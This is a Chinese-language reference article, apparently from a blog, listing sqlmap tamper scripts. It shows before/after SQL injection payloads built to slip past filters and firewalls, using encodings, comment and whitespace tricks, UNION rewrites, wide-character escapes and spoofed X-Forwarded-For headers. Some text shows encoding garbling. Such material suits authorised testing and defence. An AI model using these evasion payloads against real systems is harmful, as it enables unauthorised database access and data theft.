遍歷tamper腳本
GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester
一、編碼:
1.1 base64encode.py
base64編碼所有字符
("1' AND SLEEP(5)#")
替換后
'MScgQU5EIFNMRUVQKDUpIw=='
1.2 charencode.py
URL編碼
SELECT FIELD FROM%20TABLE
替換后
%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
已經(jīng)測試過的數(shù)據(jù)庫:Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
1.3 chardoubleencode.py
二次URL編碼(不處理已編碼的)
SELECT FIELD FROM%20TABLE
替換后
%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
1.4 charunicodeencode.py
unicode編碼
SELECT FIELD%20FROM TABLE
替換后
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
1.5 charunicodeescape.py
url解碼中的%篡改成\\
1.6 htmlencode.py
html編碼
二、空格過濾
2.1 overlongutf8.py
空格替換為%C0%A0
2.2 space2comment.py
空格替換成/**/
'SELECT id FROM users'
替換后
'SELECT/**/id/**/FROM/**/users'
2.3 space2morecomment.py
空格替換成/**_**/
已經(jīng)測試過的數(shù)據(jù)庫:mysql5.0 and 5.5
'SELECT id FROM users'
替換后
'SELECT/**_**/id/**_**/FROM/**_**/users'
2.4 space2mssqlblank.py
將空格替換成隨機(jī)的以下字符(mssql)
'%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A'
'SELECT id FROM users'
替換后
'SELECT%0Did%0DFROM%04users'
適用數(shù)據(jù)庫:Microsoft SQL Server
已經(jīng)測試過的數(shù)據(jù)庫:sql server 2000 sql server 2005
2.5 space2mssqlhash.py
將空格替換成%23%0A
適用數(shù)據(jù)庫:mssql mysql
2.6 space2mysqlblank.py
作用:空格替換其它空白符號(mysql)
SELECT id FROM users
替換后
SELECT%0Bid%0BFROM%A0users
2.7 space2mysqldash.py
作用:替換空格字符(' ')(' – ')后跟一個(gè)破折號注釋一個(gè)新行(' n')
('1 AND 9227=9227')
替換后
'1--%0AAND--%0A9227=9227'
2.8 space2plus.py
將空格替換成+
('SELECT id FROM users')
替換后
'SELECT+id+FROM+users'
2.9 space2randomblank.py
將空格替換成以下隨機(jī)的字符
"%09", "%0A", "%0C", "%0D"
測試過的數(shù)據(jù)庫:
Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0
2.10 space2hash.py
作用:繞過過濾‘=’ 替換空格字符(”),(’ – ‘)后跟一個(gè)破折號注釋,一個(gè)隨機(jī)字符串和一個(gè)新行(’ n’)
'1 AND 9227=9227'
替換后
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
三、union關(guān)鍵詞替換
3.1 0eunion.py
使用e0UNION替換UNION
已經(jīng)測試過的數(shù)據(jù)庫:Mysql,Mssql
3.2 dunion.py
將UNION換成DUNION
必要條件:Oracle
3.3 misunion.py
UNION篡改為-.1UNION
3.4 unionalltonnion.py
將union all select 替換成union select
'-1 UNION ALL SELECT'
替換后
'-1 UNION SELECT'
3.5 unionalltounion.py
替換UNION ALL SELECT 為UNION SELECT
('-1 UNION ALL SELECT')
替換后
'-1 UNION SELECT'
四、符號
4.1 apostrophemask.py
把雙引號替換為單引號,將'替換成UTF-8url編碼的%EF%BC%87
4.2 apostrophenullencode.py
將'替換成%00%27
("1 AND '1'='1")
替換后
'1 AND %00%271%00%27=%00%271'
4.3 between.py
將>字符替換為NOT BETWEEN 0 AND
將=字符替換為BETWEEN # AND # (這個(gè)#看下面的例子)
'1 AND A = B--'
替換后
'1 AND A BETWEEN B AND B--'
4.4 greatest.py
使用greatest替換>????
('1 AND A > B')
替換后
'1 AND GREATEST(A,B+1)=A'
4.5 symboliclogical.py
將and和or的邏輯運(yùn)算符分別替換為(&&和||)
"1 AND '1'='1"
替換后
"1 %26%26 '1'='1"
4.6 bluecoat.py
將sql語句后的空格字符替換為%09,LIKE替換字符=
已經(jīng)測試過的數(shù)據(jù)庫:mysql5.1之前
4.7 commalesslimit.py
替換字符的位置
'LIMIT 2, 3'
替換后
'LIMIT 3 OFFSET 2'
必要條件:mysql
已經(jīng)測試過的數(shù)據(jù)庫:mysql5.0,mysql5.5
4.8 concat2concatws.py
將concat(a,b)替換成concat_ws(mid(char(0),0,0),a,b)
'CONCAT(1,2)'
替換后
CONCAT_WS(MID(CHAR(0),0,0),1,2)
必要條件:mysql
已經(jīng)測試過的數(shù)據(jù)庫:mysql5.0
4.9 equaltolike.py
將=篡改成LIKE
SELECT * FROM users WHERE id=1
替換成
SELECT * FROM users WHERE id LIKE 1
已經(jīng)測試過的數(shù)據(jù)庫:Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
4.10 equaltorlike.py
將=篡改成RLIKE
4.11 ifnull2ifisnull.py
作用:繞過對 IFNULL 過濾。
('IFNULL(1, 2)')
替換后
'IF(ISNULL(1),2,1)'
五、特殊繞過
5.1 randomcase.py
隨機(jī)大小寫
'function()'
替換后
'FuNcTiOn()'
5.2 lowercase.py
將字符轉(zhuǎn)換為小寫
5.3 uppercase.py
將關(guān)鍵字符替換成大寫
'insert'
替換后
'INSERT'
5.4 multiplespaces.py
在sql關(guān)鍵字周圍添加多個(gè)空格
'1 UNION SELECT foobar'
替換后
'1?????UNION?????SELECT?????foobar'
5.5 percentage.py
在每一個(gè)字符前面添加一個(gè)百分比符號,asp語言允許
'SELECT FIELD FROM TABLE'
替換后
'%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E'
5.6 sp_password.py
將sp_password附加到有效負(fù)載的末尾,用來混淆
'1 AND 9227=9227-- '
替換后
'1 AND 9227=9227-- sp_password'
必要條件:mssql
5.7 varnish.py
附加一個(gè)HTTP頭來 X-originating-IP = "127.0.0.1" 來繞過防火墻
5.8 xforwardedfor.py
附加一個(gè)虛假的HTTP頭“X-Forwarded-For”
headers = kwargs.get("headers", {})headers["X-Forwarded-For"] = randomIP()return payload
5.9 unmagicquotes.py
作用:寬字符繞過 GPC??addslashes
1′ AND 1=1
替換后
1%bf%27 AND 1=1--
5.10 appendnullbyte.py
作用:在有效負(fù)荷結(jié)束位置加載零字節(jié)字符編碼(Microsoft Access數(shù)據(jù)庫)
('1 AND 1=1')
替換后
'1 AND 1=1%00'
六、注釋繞過
6.1 randomcomments.py
用/**/分割sql關(guān)鍵字
'INSERT'
替換成
'I/**/NS/**/ERT'
6.2 halfversionedmorekeywords.py
在每個(gè)關(guān)鍵字之前添加mysql版本注釋
"value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa"
替換成
"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
必要條件:mysql<5.1
已經(jīng)測試過的數(shù)據(jù)庫:mysql4.0.18,5.0.22
6.3 modsecurityversioned.py
作用:過濾空格,包含完整的查詢版本注釋
('1 AND 2>1--')
替換后
'1 /*!30874AND 2>1*/--'
6.4 modsecurityzeroversioned.py
作用:包含了完整的查詢與零版本注釋
('1 AND 2>1--')
替換后
'1 /*!00000AND 2>1*/--'
6.5 versionedkeywords.py
作用:對不是函數(shù)的關(guān)鍵字進(jìn)行注釋繞過 ?
1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
替換后
1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS//!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#
6.6 versionedmorekeywords.py
作用:注釋每一個(gè)關(guān)鍵字包括函數(shù)關(guān)鍵字
1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
替換后
1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS//!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))#
到了這里,關(guān)于sqlmap常用tamper匯總及使用指導(dǎo)的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!